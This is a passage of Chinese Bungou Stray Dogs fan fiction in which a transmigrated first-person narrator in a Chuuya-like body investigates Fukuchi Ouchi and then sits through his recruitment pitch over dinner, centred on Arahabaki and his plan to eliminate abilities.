就像社长对福地樱痴有滤镜一样,福地樱痴对社长也有十分深刻的了解和欣赏。 诚然,他不会在需要的时候手软,但思维定式这种东西,总会给人带来一点推理盲区。 福地樱痴绝对不会过早地把目光投向武装侦探社。 不仅仅是为了自己的私心,更是出于最优解的考虑——社长这样心性的人,很难击倒,与之冲突若无法一击毙命,那就绝无法善了。 不到最后一步,福地樱痴绝对不想要把侦探社卷进来。 所以,侦探社此时是比港|黑最好的选择。 社长颔首,表示理解。 “他的资料和我一样,在政府内属于‘绝密’的范畴。我和他确实共事过一段时间,但我们的工作性质,并不会和彼此讨论一些敏感话题。” 社长能够提供的,是他和福地樱痴的共事经历。 这一点我早有预料,做事滴水不漏的人,任何时候都会保护自己的秘密。 “尤其是在他退休之后。” 我当然也想到了他的警…… 嗯? 啊? “退休?”我瞪大了眼睛,一瞬间有些不敢相信。 他退休了,难道是退出了? 不,他是BOSS啊,谁都能退,但他不应该能退的。 难道还能返聘? “嗯,那是两年前的事。他的退休宴邀请了我。” 退休宴? “正式的退休方式,”国木田麻麻适时地接了一句,“宴请朋友、同事。某种程度上,是一种委婉拒绝返聘的方式。” 也就是说,他是真的脱离了军警的系统? “那他现在在做什么?” 难道是像社长一样,自己搞了点独立事业? 社长并没有回答。 不是完全不知道,而是不回答。 或许对他来说,在没有定论之前泄露老友的行踪是件很难接受的事情吧? 而且,没有把握的情报的输出也相当危险。 “我明白。”我点头,直接跳开了福地樱痴的话题,“事实上,我也并不打算直接从他身上下手。” 幕后大BOSS不会这么早出山的,“刚才你说的条野采菊,他是在什么时候出现在福地樱痴身边的,又是以什么身份出现的?” 拔出萝卜带出泥,只要搞清楚了一个人的问题,就能顺藤摸瓜持续查下去。 “他和末广铁肠有同样的出身,相同的环境和相同的经历更容易获得共鸣,更重要的是——在同样的计划中,知道他们两人存在、并且有机会收服他们的人极少。我认为他们现在也在同一处共事,末广铁肠是攻击港|黑大楼的人,但他很难单独行动,他需要固定搭档。” 虽然当时的空间能力不是我认知当中采菊的能力,但当时的空间类能力像是一种触发机制,未必需要作为搭档才能使用。 只要看漫画就知道,即使是IF线,有剧情的变化,但人物之间的关系却很少变化——尤其是边缘化的人物。 至少,现在铁啾和采菊的关系,将直接决定福地樱痴涉事其中的可能。 “条野采菊——我记得他当时使用的名字,事实上并非是此,而是条野传平。”社长顿了一秒,像是仔细斟酌了一番我的说辞,接着便继续,“如果是他的资料,应该没有那么难查。他当时是源一郎的副官,在源一郎卸任后,便接替了源一郎的职责。” 虽说原则上讲,军职的升替需要长期的考察和几层的审核,但在实际操作中,像福地樱痴这样级别的人的推荐信,很容易起到决定性效果。 说是“推荐信”,实则完全可以说成是任命书。 “自己退下去了,但有条野采菊顶着。”我一笑,“该知道的、能做的,和他离开之前没有任何区别。” 只要福地樱痴还活着,明面上,谁敢不给条野采菊面子。 而且,采菊的能力——那强到甚至可以听到人心的听力和可以粒子化的异能力「千金之泪」,他几乎可以进入任何地方、听到任何机密。 若是采菊再隐瞒一下他的能力…… 天选间谍,简直比安吾还要专业。 防得住福地樱痴,可防不住采菊。 “让我猜猜,福地樱痴当时退休的理由——不会是受到了‘排挤’吧?” 这种地上转地下的手段,我太熟悉了。 这个“排挤”倒不是明面上要做什么,但一点点细节、每一个程序上的绊子,合规却磨人心性。 社长微微颔首,虽然没有说话,但显然是默认了。 在这件事上,他有着和福地樱痴一样的发言权。知道的秘密太多、办过的事太脏……鸟尽弓藏是必然的结果。 特别是站到了台前的福地樱痴。他的存在对某些人来说就像是一个黑点,好用、但太过显眼了。 不仅是在时刻展示英雄身份,更是在不断提醒着劳苦功高。 他在军警内,一定会受到各类的监视,反而难以成事。 如此一来,所谓的“退休宴”就成了一个筹码,用来交换采菊的位置。 虽然,作为被福地樱痴内推上来的人,盯在他身上的眼睛也不会少,但采菊的那些能力—— 每一个放在他身上的眼睛,都会成为他的线索。 “那就对了。”我现在越发肯定福地樱痴的反派身份,就算没有百分百,也能无限接近百分百,只是如此一来,采菊和铁啾的搭档关系,反而有了点牵强的意思,“条野采菊的异能力和身体特质,也方便接收指令,不需要见面,甚至隔着很远,他都能听到福地樱痴的声音。只是末广铁肠……难道他们俩真的不是搭档吗?” 如此确实坐实了采菊和福地樱痴之间的关系,但却让采菊和铁啾之间的关系扑朔迷离起来。 边缘人物的关系也会因为世界线的变化而变化……吗? “事实上,条野君并非异能力者。”社长话锋一转,“至少他在副官时期,从未表现出过任何异能力,或是特殊体质。若非如此,即使有源一郎的推荐,他的接替也不会如此顺利。” 国木田麻麻闻言拿起资料,这上面可是记录了许多基础特质。 体质可以改变、异能可以加强,但凭空创造异能仍然是极度困难的。 所以,大部分号称“创造异能”的实验,实际上都是在原本能力的基础上,进行二次加工。 “这资料上,确实有写条野采菊的能力,「千金之泪」。”国木田麻麻甚至推了推自己的眼镜,以示认真,“这是幼年资料,若假设资料为真,那——” “和荒想的一样,隐藏了自己的能力呢。”乱步的思维很快,只要有足够的信息,任何陷阱都不会阻挡他的逻辑链条,“这样的话,至少能确定,他所任职的地方,并无参与‘荒霸吐计划’的人。” “至少没有核心成员。” 我也认同这点,否则采菊的身份就很难密不透风。 福地樱痴主动退休这一步棋恐怕没有那么主动,对于他这样的精神老头来说,退居幕后可不如自己掌权。 他信自己多过信别人。 “如果有作为他同伙存在的同计划成员……” 国木田麻麻犹豫的话还没有说完,我就摇了摇手指,“放心吧,不会有的。” 这种事,怎么会真的有多少知情者。 中也在镭钵街的那次惊天一爆,就已经基本清了场。 剩下那些零零散散的人,不仅成不了气候,还得东躲西藏。 否则,怎么镭钵街一炸,那个教堂就迅速人走楼空,里面从神父到园丁,几乎没有一个还能查到生存的痕迹。 福地樱痴要的“滴水不漏”——如何才能不漏? 得没有一点空隙才行。 “如果在军警内任职就好办了。”我的视线移向窗外,港|黑那高高的塔尖已经修复如初,甚至锋芒更露,“有职位的人,才不难接触。” 乱步顺着我的视线看过去,便马上get到了我的想法,“确实,以港|黑为介——不至于打草惊蛇,但余震却足够撬开一个口子。” 这就要看谁猜得透谁了。 港|黑没有任何追查能力,那就是小瞧宰子了,但具体要查到哪一步,就需要仔细斟酌。 最好能查到福地樱痴的预测里,侦探社的暗线才好推进。 谁能想到有一天,港口黑|手|党是明线,武装侦探社成暗线了。 第78章 浅吃个晚饭。 虽然我已经和真·中也见过面, 好像无法再浑水摸鱼。但事实上,正是因为被宰子验明正身,有了港|黑首领的背书, 我实际上刷起脸来更无后顾之忧。 这个世界的港|黑比主线世界的港|黑还要庞大, 这就意味着它的产业范围也铺的更大,再加上那个已经注册好的商标,我可以轻易认出来所有港|黑旗下的产业——当然, 也有一些商标变体,用以标注一些 受到港|黑庇护的地方。 一言以蔽之可以说——交了保护费的商户。 不论是哪一种,我都可以凭中也的脸蹭吃蹭喝。 毫无心理负担,港|黑的资产不是我等穷逼大学生能够想象的, 蹭一口怎么了? 理智而气壮.jpg 专挑贵的点。 我平时并不会去这样的日料店, 无他,唯不愿脱鞋尔。 但偶尔来一次,味道还是相当不错的。 顶着中也这张脸,谁敢给我偷工减料割韭菜? 顶级食材超满足。 慢慢一大桌,我直接埋头苦炫。 “哗啦——” 门又一次被拉开, 这应该是不知道多少批食物上桌了。 说真的, 我要吃不完了。 浪费粮食是可耻的! 我没有抬头,只是摆了摆手, “不必再上新菜。” 但预想当中“过度礼貌”的恭敬回答没有出现, 门合声音之后,脚步在接近。 只要经历过特殊训练, 脚步声都可以变得很轻, 尤其是拖鞋踩在榻榻米上后——可是, 这么近的距离, 只在一个房间之内, 以我的耳力,竟然都只能听到一点仿佛微风吹过草丛的声音。 太微弱了,以至于连我自己都会怀疑声音的真实性。 可正是这种不真实感,让我没有来由的一个意识,脑中恍然冒出一个名字。 比理智的思考更快,结论沿着我的直觉冲上了大脑。 福、地、樱、痴—— 伴随着我的抬头,这个名字主人的脸映入我的眼帘。 精神老头,穿着一身传统的日式服装,腰间挂着一把古朴的长刀,连袜子都是为了木屐而定制的双指袜。 他的头发和胡子都已经花白,脸上的皮肤也充满了褶皱,但身体却挺得板正,精神矍铄,眼睛里的光,几乎不输给任何主角人物。 除了微不足道的苍老外表,他身上找不到一点步入中老年的迹象。 我的瞳孔一定在某一个瞬间缩小了,以至于福地樱痴的眉毛挑了起来。 但很快,我就控制住了自己。 “稀客啊,”我自如地从旁边的托盘里拿了个新杯子,给他加了杯茶,伸手示意他坐下,“早就听说过您‘活的传奇’的名号,但我想,真正活着见到您的人可不算多。” “言过其实啦,老夫如今只不过是一介平民,哪里还担得起过去的虚名?” 话是这样说,可他的神情状态,可一点也没有服老的意思。 旁人若是这般谦虚过了头,一种阴阳怪气的感觉就来了。 但福地樱痴却很奇异,我理智上明明知道他不好招惹,可却还是在此时他的态度和张扬的笑里,看到了一种让人想要亲近的豪迈。 “一点儿没夸张,和某位年轻的首领比起来,你的生气反倒是更像他那个年纪的人呢。”我直接切入了关键词,用以刺激对方的反应。 他的突然造访,究竟所为何事? 是为港|黑? 是为侦探社? 还是单纯的,为我? “哦哈哈哈哈哈哈——我竟然能和那样的后起之秀相提并论啊——评价如此之高,真是让老夫受宠若惊。”他真是笑不离嘴。 难道是——爱笑的老头,运气都不会太差? 见福地樱痴不搭茬,我也干脆不装了,“能和您相提并论才是荣幸,我真是仰慕至极。本想着找人牵线搭桥,让太宰君之后把末广铁肠交给我处理,再借一道条野采菊的路子,说不定能见到您。没想到,您倒是真给我这个面子,直接帮我跳过了这些工序,真是怜惜晚辈。” 我还是浅赌了一下,即使知道可能有bug,但我还是赌了采菊和铁啾之间的联系。 即使错了,这两个名字终究都是同一个计划上的名字,用来激化矛盾也说得通。 福地樱痴眼角的鱼尾纹略作抽动,非常快的一个微表情,要不是我的专注,很可能就要错过他这个反应了。 所以——他或许是关注到了我,但并不真的知道我手上掌握的情报进度。 他脸上的笑容一点都没有淡下去,反而愈发的爽朗——就像jump热血男主角的那种爽朗。 “世界还是你们这些年轻人的了,我们这些老头子,很快就会被埋在土里啦!” 都是些滚刀肉的话,他感叹着好像表明了一个态度,但言语却没有实质性的信息。 真怪,明明是他主动找来的。 我并不想和他维持这种虚假的表面和平,难以言喻的焦虑一直萦绕在我心头。我的目的是「书」,而它就近在我的手边,随时可以取到,只是看得到却用不了。 这个认知比寻找的过程还要磨人。 我承认,这种焦虑影响到了我做事的心态。 “你说得对,我也很认可。既然未来会是我们的未来了,那需要我帮你将自己埋在土里吗?我不知道吧,我超级乐于助人的。” 我,假笑.jpg “要是海晏河清,老夫就是被你埋在黄土之中又如何?可惜了啊,这个世界的污浊如此之深、如此之厚、如此之广,总要有人栽树,才能供后人乘凉。” 几句拉扯,我便马上判断出了他的目的。 更确切地说,是根据他的态度重新认定了一下IF福地樱痴的目的和主线福地樱痴之间的区别。 区别就是……没有区别。 果然,边缘人物——哪怕是大BOSS,都很少会有大范围的改动。 和陀总混在一起的福地樱痴,有着和陀总相似的目的,所谓“天人五衰”指的正是“天人”寿命将尽时的死亡前表现。 这个组织的名字就昭示了他们的目的,“天人”——指的就是异能力者。 消灭所有的异能力者,让一切“异常”剥离出日常,就是他们的目的。 好像……不是不能理解。 毕竟我在上个世界,也做了相似的事情。 但一码归一码。 咒力和异能力带来的负面效果可不是一个级别的。 这次我的屁股坐在了另外一边。 于是我开口,“那要是‘后人’不愿意乘凉,只想要晒太阳呢?像您这样的老人,更该多晒晒太阳,补充维生素D,加强钙吸收,筋骨才能强健啊——您说是不是?” 福地樱痴用“乘凉”来比喻消灭异能,但阳光这种东西,宁有不无,还是多晒晒更健康。 第79章 我觉得自己说话很有道理。 但福地樱痴这种人, 哪里是几句话能够改变的? 他眼神之坚,完全没有被我的言语所动摇。他看我的眼神,就像是在看一个不谙世事的孩子, 只能看到一时好坏, 看不到长久得失。 “物有求生之本能,这很正常。”他的眼神盯在我身上,描摹着我脸上的花纹, “你想必也一样——但,生命的价值有时不在于延续,而在于终止。” 啊? 我顿了一下,接着便反应过来。 他不是在说我, 而是在说「荒霸吐」。 和利用「书」剥离异能力者的异能力不同, 「荒霸吐」就是异能力本身。 剥离,意味着死亡。 “价值这种东西很难定义吧?异能力什么的,只是一种武器,即使没有了它,也会有其他的武器存在, 消除与否, 又有什么区别?”我其实能够理解福地樱痴的思想,他作为异能战最前线的斗士, 见过太多异能力带来的悲剧, 想要终结悲剧源头不是不能理解,“人, 才是一切的根源, 你总不能消除世界上所有的人吧?” 灭绝人类, 消灭战争, 圣杯启动! “争斗是自然筛选的方式, 任何生物都是在争斗中进化的,人类也不例外,不论胜负——这是历史探索。”福地樱痴在这方面意外看得开,“但,异能力破坏了公平。” “公平?斗争何时有过公平?” 福地樱痴也是经历过各类战争的人,怎么会觉得战争这种事里,还有公平二字可言? “就是因为没有,我等才该为此努力。”他昂首,脸上的笑容少有地收敛了起来,端正的五官威严十足,“凡人无法改变,正该有我等改变。如果没有人迈出第一步,那这条路就永远无法出现。所谓公平当然不是一时之功,更不是一人之功,但老夫可以来开这个头。” 他的声音雄厚,每一个字都底气十足。 简直让人不自觉地想要信服。 关键是,他说得好对啊。 不论成功与否,总要有人尝试。 反驳不了一点。 “当察觉你出现的时候,我很震惊。虽然「荒霸吐」一直都很特殊,但——竟然能分裂出自己人格什么的……确实出人预料。果然,异能力的存在形式是寄生。寄生在人类的身上,在适合的契机下生长。”福地樱痴丝毫不隐瞒自己的猜测,即使感受到我的立场也毫不避讳。 难怪社长会对他有那般好感,这样直率的性格,让人完全不会把他朝阴暗的方向去想。 “寄生?你是想说你在自己的异能力中也感受到了足够的生命力吗?” “不,老夫的异能力尚未到这种地步。”他的手指一下一下地点在桌面上,“但你应该知道老夫在说什么,还是说,那些以讹传讹的供奉之语,连你自己都相信了?这个世界上不存在‘神明’这种东西,有的只是力量集合的伪神——天灾。” 我的眼神一暗。 他是想说,「荒霸吐」不是单独的力量,而是各种异能力长期融合同化后的结果吗? 我斟酌着福地樱痴言语的可信度。 他若真是过去研究安全装置的军|政部门的负责人,那他会对「荒霸吐」来源有更深理解也不是不可能。 我虽然在主线世界里见到过「荒霸吐」的真正模样,但“现状”和“源头”是两个互不冲突的概念。 “你竟然是真不知道吗?” 福地樱痴的手在胸腹处摸了摸,就像是挠痒似的。但我却在他的动作里,嗅到了一丝熟悉的味道。 我记得……他是有随身携带「书」页残片习惯的,对吧? “也是,被创造出来的人格哪里有真正自我意识,真是可怜。”福地樱痴的眼神怜悯起来,“正是因为力量强大,所以才会成为工具。老夫应该道歉才是,当年,若不是我被调离那个位置,也不会给那些人机会。安全装置若是足够完备,即使是「书」也无法这样轻易地把你分离复制出来。” 说实话,我第一时间,逻辑懵了一下。 “那位首领无法舍弃自己的部下,但对纯粹分离的力量,就没有什么顾忌了吧?” 啊…… 所以,福地樱痴以为,我是被宰子利用「书」分离出来的“荒”吗? 等等,我在思考。 嗑、嗑到了? 这句话首先就包含了两个重要信息——第一,是福地樱痴确实是当年安全装置计划的负责人;第二,是他确实知道「书」的存在,甚至早就确认「书」就在宰子的手上。 在这个逻辑之下,铁啾的行为就似乎和他也联系了起来。 “我倒是觉得太宰君不会真的顾忌什么。”我耸了耸肩,一般来说,连自己的生命都无所谓好坏,又怎么会顾忌别人的生死呢。 当然,宰子的情况又略有不同,但外人不会知道他的私心,我还是打算先输出这种固定观点,“更何况,不论我是如何存在,最重要的是——我存在。没有人可以逼我做我不想做的事。” 激一下福地樱痴,我有点好奇,在他眼里,宰子的目的究竟是什么。 “这就是操盘手的高明之处,他会让你觉得,你做的每一个决定都是自己做出来的。”福地樱痴饮尽一杯茶,“好茶,真是好茶啊——泡出这么好的茶水后,用过的茶叶也就可以舍弃了。” 这是点我呢。 但其实我并不在意这一点,要是能拿到报酬,就算是被利用、被抛弃也无所谓。 甚至不如说,赶紧抛弃我啊,喂! 我一向很看得开。 “你们,是真不会说人话啊。”我给自己嘴里塞了一口温泉蛋,“你想说太宰君在利用我,难道你今天来这里,会是想要‘拯救’我吗?不对吧,你不过是希望我的力量为你所用而已。那对我来说,你和太宰君,似乎也没有什么分别——如果一定要选的话,我还是更愿意选择一个我了解人。” 真的很难评,福地樱痴究竟是来干什么的? 说是要招揽我的吧,但啥都没说清呢,就已经率先把想要异能力死写在了脸上,这句话和直接说要杀了我没有多大区别。 但如果说真是只想要我的命,那这些长篇大论岂不是显得很鸡肋吗? “‘了解’?哈哈哈哈哈哈哈——天真的孩子啊,我们的区别只在器量。力量只能用来震慑,老夫大概能想到那位首领男孩儿的渴望,扩张、镇压、震慑,这些都是手段,横滨在过去的几十年里从未有过如今的平静,他想要建立起一个新的秩序,破而后立。政|府做不到的事,他就用自己的手段来做。说实话,老夫很佩服他,我在他这个年纪的时候,可没有这样的格局和本事。”福地樱痴从来不会避讳承认别人的强大之处,“若是他能将这事从一而终,任何人都不该成为阻碍他的绊脚石。” 虽说前几天袭击港|黑的幕后黑手,十有八|九都和他脱不开关系,但此刻他的话,却不带一点虚伪,“只是,过慧易夭,像他这样的人是活不长的。” 卧槽,不愧是大师,看人真准、一语中的。 万千宰子里,只有IF宰是真正用了能让自己毙命的自杀方式——或者说,只有IF宰让“自杀”从手段变成了目的。 而主线之中,我能感觉到,宰子的自杀是一种求救手段,是寂寞而空虚的灵魂在透过□□求救。 “强压下的和平不会长久,想要改变横滨百年局势、又要以横滨为例影响其他异能力城市,需要极长的时间。否则,一旦中断,混乱和战争会以更加凶猛的方式反噬回来。” 确实,福地樱痴的判断没错。所以横滨之内,就连政|府都要避开港|黑的锋芒,一起维持住港|黑的稳定和权威。 这是必要的手段和退让。 我想,他应该也认真考察过一段时间。否则,在宰子大刀阔斧之时,他为何不在其猥琐发育时,就出面干涉? 可在这个观察之中,它不仅看到了港|黑行动的效果,也透过港|黑的行动,看到了宰子这个人的状态。 福地樱痴,别的不说,这个识人的本事可真强,判断精准。 按照IF宰的设想,在没有更多外力的干涉下,他死后,也有中也的强实力能够起到震慑作用,在过度时期延续港|黑的统治力。 当然,没有「人间失格」,就看谁敢以命抵命,去拉中也同归于尽了。 只是生前不管身后事,死后的影响力注定是要衰弱的。但横滨人才辈出,总有人还会站出来主持大局。 想到这里,我皱起的眉头一松。 这么简单的道理,福地樱痴一定也看得明白。所以,我作为「荒霸吐」和中也的分离,就是宰子的“身后事”的一种应对手段,我可以延续中也的生命、自然就能延续港|黑的威慑力。 刚才的指向,原来是落在这里。 没有安全装置的「荒霸吐」太危险,所以福地樱痴才以为,宰子用「书」制造了我这样的“备用产品”。 而且,在他眼里,我或许还是某种可以被批量生产的配件。 还是假设他就是安全装置计划的负责人,那真是没谁比他了解「荒霸吐」。中也是最成功的安全装置,有这么一个现成的样品,宰子能用「书」创造出来仿品也不意外。 “被制造出来的畸形生命,绝难长存。”铺垫了那么多,福地樱痴的目的才算真正开始显露,“哪怕是「书」这样的东西,也难以制造灵魂。一个由「书」中文字创造出来的生命,需要持续的文字来维持生命,否则生命机制就会出现问题。任何力量都有限制,这个世界上不存在无代价的愿望……若无限制,又何须那样大量的真实之人来作为测试?” “真实之人”——这说的应该就是那些试验品们了。 若「书」无限制,那直接用「书」来凭空制造安全装置岂不是最优解? 我垂下眼睛,悄悄地捕捉着福地樱痴的情绪变化。 “没错,任何事情都有代价、任何人的诞生都有依托——是人,或是「书」,创造出来的生命结果都不会有区别。你自己不是也说了吗,人终有一死,死亡是生命价值体现的方式,那又何必来提醒我,‘畸形生命难以长存’?总不是想嘲笑我吧?” “哈哈哈哈哈——老夫对无端的嘲弄可无兴趣,只是想给你多提供一种思路而已,你也不是只有一条路可走。”福地樱痴拆下自己的刀,横在桌面上。 这大概就是「神刀·雨御前」? 刀鞘看上去朴素极了,一点也不像是那样可以穿越时空的神器。 “怎么?福地先生想要给我提供一份新的工作?” 兜兜转转,还是落在了招揽上? “不,像你这样的人,不会屈服于人。老夫自觉,还没有这种人格魅力。” 真不知道他是在自谦,还是在暗地里想要勾起我对“压制自己”的宰子的反抗。 “但若只是一点合作的话,老夫却也有那个价值。” 似曾相识的言论一下就戳中了我的神经。 虽然在这个IF世界里,福地樱痴眼里我这个“「书」创造的生命”似乎是第一例、独一档、可以尽情忽悠的东西。 ——当然,也未必尽是忽悠。 但是,在主线里,可是有着能够循迹的先例。 西格玛男人(bushi) ——是西格玛。 陀总不是也和西格玛说过相当类似的话吗? 确实,一个没有过去和未来的人,最为渴望的就是长久的真实。 更何况,福地樱痴所说的“维持生命之文字”也未必没有道理。 西格玛的存在类型,或许就是二次元中的二次元人物,没有作品的存在,人物便无法存在。 我的天,好有道理! “反过来说,只要有持续的文字、有规划地使用文字,就可以尽可能让你接近真实世界,拥有和真实的人一样的生命——创造的过程是最难的,你既然已经诞生,那接下来只做维系的话,所需的文字内容极少,这一点事,老夫自认还是能够做到的。” 福地樱痴没有夸大自己的力量,相反,他在弱化自己手中所掌握的力量。 难道说,在挖人墙角的时候,不需要好好展示一下自己吗? 但你别说,你还真别说——将局限最先表现出来,反而给人一种真诚感。 我皱眉,按照正常思维反问,“那按照你的逻辑,维系如此简单,难道我的价值不值得太宰君的维系吗?” “当然不会。”福地樱痴的眼睛里散发出慈爱的光芒—— 哇,像他这样的精神热血老头,释放这样的情绪可真怪异,“你还是没有搞清楚太宰君的意图,只要有「荒霸吐」的存在,就需要有安全装置。这个装置的本体是中也——也是你的本体。已经拥有了本体的人还要去制造复制体,就只可能是一个目的……让复制体来分担风险,以达到保护本体、延长本体的寿命的目的。” 他顿了顿,一下子将主体扣回了他的开头,“但复制体也是会产生自我意识的。是生物,就有自救的本能——可一旦复制体求生,那复制体存在的意义就消失了。难不成,还要让本体去分担复制体的风险?” 我晃神,终于跟上了他的逻辑,脸上不自觉地露出了恍悟的表情。 见我有这种表情,福地樱痴的情绪里瞬间洋溢起满足,“说到这里,你应该也就想明白了吧?按照创造你的目的,你就不能长久,太宰治绝对不会给你这个机会。同样的原因,太宰治也不会在‘创造’的过程中,让你变得太聪明、不会让你有机会自己想通这样的事,他需要你的单纯。” ……? 变相说我傻? 你想说的该不会不是“单纯”,而是“单蠢”吧? “但人的精神意志和思维难以完全掌控,所以最好的办法,就是不断更换,不断更换复制品,来保证你的无知。” 我简直……无法反驳。 福地樱痴对我搞的,根本就不是阴谋,而是阳谋。 先前那些“栽树乘凉”的话,就是先试探了我的求生欲望。 要是宰子创造了一个和自己一样无所谓生死的人,他反倒不会想着用这般方法来策反我。 那或许就是一场直接的恶战了。 他就得杀死我。 当然,福地樱痴不会想到,我就算求生,也不是求在这个世界中的生。 天知道我要是一直生活在这里,完全回不了家,那才是真正的噩梦。 但!是! 我戏惯了,几乎出于本能,我就在这个时候表现出了自己的动摇。 不明显、不能这么快就有太超过的动摇。 宰子的洗脑能力很强,所以我也只是让这种情绪一闪而过。 放心,福地樱痴不会错过的。 我故意嘴硬,“要说这些,你和太宰君又有什么区别?” 这叫有技巧的嘴硬,嘴硬的同时,实质上是默认了福地樱痴的话,假装进入了他的节奏。 “他需要更换复制品,难道你就不需要消灭「荒霸吐」了吗?” 剥离「荒霸吐」本体不一定会马上死,但复制品一定活不了。 按照他的逻辑,复制品的存在就是承载「荒霸吐」的消耗品,而且还是短期一次性消耗品。这种生命自然是和价值本身绑定在一起的,没有了价值自然也就没有了存在意义。 “对,我需要消灭「荒霸吐」,它在异能力中的位置着实特别,想要消灭异能力,就必须要依靠「荒霸吐」作为媒介。”他没有马上详细展开自己的“天人五衰”计划,而是直接挑着和我有关的重点,优先叙述,“复制品的作用,是‘适量分担风险’,而不是‘完全转嫁风险’,这二者之间存在本质差别。难道你觉得,像太宰治那样谨慎的人,会将「荒霸吐」这样庞大的力量尽数交给你吗?那岂不是平白增加了你反客为主的可能?” 我摩挲着手指,跟进他的思维逻辑。 “你只是在「荒霸吐」力量的使用中,来承受反噬风险的一方,而非是真正可以自如使用力量的一方。” 福地樱痴伸出手指,敲击在桌面两边,“这样,即使太宰治不故意出手,你自然也会早夭,这不是很完美吗?” 我背脊发凉。 即使我和「书」的造物没有一毛钱的关系,但福地樱痴描述的这种可能,还是让人觉得可怕。 一个没有过去的生命在创造之初,就成为了一种低级消耗品。 只是,这和他们用孩童来做安全装置实验又有什么区别? 不论有多冠冕堂皇的理由,实验的本质都不会变。 “……你刚刚也说了,这个世界上没有无代价的好处,”我咬住嘴,声音带出了一股难掩的沙哑,“只是分担风险的我,对你又有什么价值?” 只要我追问这种话,实际上就等于打开了商品的详细介绍页面——动了心。 “当然有,只是你自己没有意识到——还是那句话,没有无代价的好处。复制品的存在,对本体来说,不也是一个‘好处’吗?力量的通道从来不是单向的,既然风险能够分担到你的身上,那么反过来,力量也便有机会被你抓在手中。”福地樱痴身体前倾,显然已经进入了谈判的最后阶段,“这就是本体和太宰治要承担的‘风险’了。” 说到底,我这个人身上真正展现出来的价值,仍然是在「荒霸吐」这个词上。 “我说,福地先生。你需要的,恐怕不是「荒霸吐」的力量吧?”我话锋一转,语气锐利起来。在做“跳反”这样的举动前,会有仔细考察才正常,我借着这个机会,问出了我最想要探究的问题之一,“论力量,你不缺。论消灭力量的方法,你也不少。没错,「荒霸吐」确实是一张好牌,我比任何人都清楚这一点。但正是因为知之甚深,我才知道局限。越强大的东西,风险就越高。太宰君不会把这么庞大的力量交到我手上,难道你就放心做这件事吗?” “当然不放心。”福地樱痴即答,真是坦诚得可怕。 上次穿越,人人都是谜语人,怎么这一次,大家都喜欢打开天窗说亮话了? 难道是我的人设太好拿捏了? 大家都知道这是对付我的利器? 我,陷入深思。 “实话实说,「荒霸吐」的力量到了任何人身上,老夫都不放心。所以,老夫给你的承诺是让你像正常人一样活下去,而不是成为新的‘安全装置’。你一开始就应该很清楚老夫的目的,消除异能力才是我的理想,老夫又怎么会本末倒置,帮助「荒霸吐」继续存在呢?” 将福地樱痴的几段话连在一起,我脑中突然灵光一闪,“难道……你,是想要借着我这个和中也力量接通的通道,来反向拿捏「荒霸吐」吗?” “哈哈哈哈哈哈!果然,你只是出入尘世,而非是真的愚蠢。”福地樱痴直接认下了我的话,将自己的目的详细袒露出来,“没错,消灭的「荒霸吐」是老夫计划中不可或缺的一部分。” 可我还是不理解。 何必如此大费周章? 想要让中也释放「荒霸吐」的力量直到死亡不算容易,但对福地樱痴来说,却也绝非不可能。 在不考虑短期稳定的情况下——看袭击港|黑大楼的行为就知道,短期稳定确实不在他的考虑中——福地樱痴只要持续不断地攻击港|黑,挑战港|黑的权威,一步接一步地逼中也出手。 哪怕在极端的情况下正面强攻,只要能让宰子和中也分开,逼中也开污浊就直接赢了。 至于如何让宰子和中也分开…… 熬就行了啊! 虽然福地樱痴年纪大,但宰子自毁性强啊! 福地樱痴自己不也已经做出了宰子过慧易夭的判断吗,只要坐等他死就好了。 等等——原本的IF线,不会真的有这么个事件吧? 只是漫画END得太早,所以没有画出来后来的故事? 细思极恐。 有边际的漫画一旦延展成没有边际的真实世界,任何一个情节,都能让人不敢细想、不敢朝着更远的未来想。 或许,这也是福地樱痴的原计划。 只是我的出现带来了某种蝴蝶效应——或许……是我的存在,让港|黑遭受了袭击。 因为有「书」的残片,福地樱痴大概一直知道「书」的位置。 我的穿越和「书」应该在某种程度上有共鸣,所以宰子很快察觉到了我的出现、福地樱痴也察觉到了相似的东西。 这样便也解释了那些无端的袭击、那些和原作大相径庭的发展。 我仔细斟酌着福地樱痴的话,将他刚才的言语全部整合了起来。我需要清理掉我脑中的一切思维定式,完全沉浸到对方的逻辑里,才能最快地参透对方的思维。 想想看,他刚才是如何形容「荒霸吐」的? ——“力量集合的伪神”。 伪神只是一个形容,用“天灾”、“神明”都可以替换。所以这个表达中,真正重要的是“力量集合”四个字。 力量集合体。 也就是说——在福地樱痴的认知体系里,「荒霸吐」不是一个单独存在的力量、而是某些力量相会融合的整体吗! 我瞳孔骤缩,因为是多种力量的融合,所以才不似普通异能力那样温顺。 力量之间的融合和排斥造就了「荒霸吐」的狂躁状态,而力量状态的多样性,又使得「荒霸吐」的传言那般多样。 重力……污浊。 混杂在一起的力量,岂不正是混乱的“污浊”? 同样逻辑之下,污浊之中,中也使用的重力的极致——黑洞,也是能够吞噬一切的力量表现。 力量表现简直严丝合缝。 我心脏“咚咚”直响,跳出原本的视角圈,从另外一个方向来看,所有的情节竟都成了伏笔。 “不可或缺的计划……你不是想要杀死「荒霸吐」这一个力量,而是想要用它的特性,将一切汇聚于一体,用更高效的方式消灭异能力的存在。” 这个计划模式我可太熟悉了。 这不就是咒术界解决宿傩大爷的方式吗? 一个手指一个手指的解决——哪有那么多适格的受肉,要是聚集在一起消灭,那可就容易多了。 “首先消灭了已有的异能力,再巩固这个成果,杜绝新的异能力产生。” 如此两步走,就能目标明确地完成计划。 “哈哈哈哈哈哈!真是孺子可教啊,说真的,你要不要来做老夫的弟子?想要消灭一切力量,「书」也不会永远存在。‘有限’之中,文字只能维持你的基本生存,但老夫对‘如何改造安全装置’这一道还是很有研究的。” 研究,指的就是铁啾和采菊了吧? 在没有猎犬的情况下,也不知道大仓烨子和立原道造还是不是他的小弟。 我眼睛一眯,有些急迫地追问,“那你就是承认了,我刚才的推测。” “对了一半。”福地樱痴仿佛已经看到了我的倒戈,手肘压在盘着的腿上,弓起来的身体像一头紧绷肌肉、随时都能发起进攻的猎豹。 “只有一半?”我皱眉,无言冷笑,“你倒说说,是错了哪一半?” “只将「荒霸吐」作为计划的一步,你未免也太小瞧它了。看来这么多年过去了,除了老夫,还是没有人真正参透了「荒霸吐」啊……” 我眼中精光一闪。 “什么意思?” “确实,「荒霸吐」是一种异能力的集合体,你很会抓重点,”福地樱痴的锐利目光直□□的胸口,“但,「荒霸吐」不是深渊、不是异能力的‘黑洞’,更不是在吞噬异能力。” 突然,就在这个他顿了一声、换气制造抓马效果的这个瞬间。 我回忆起了宰子和我交换情报时的某个描述。 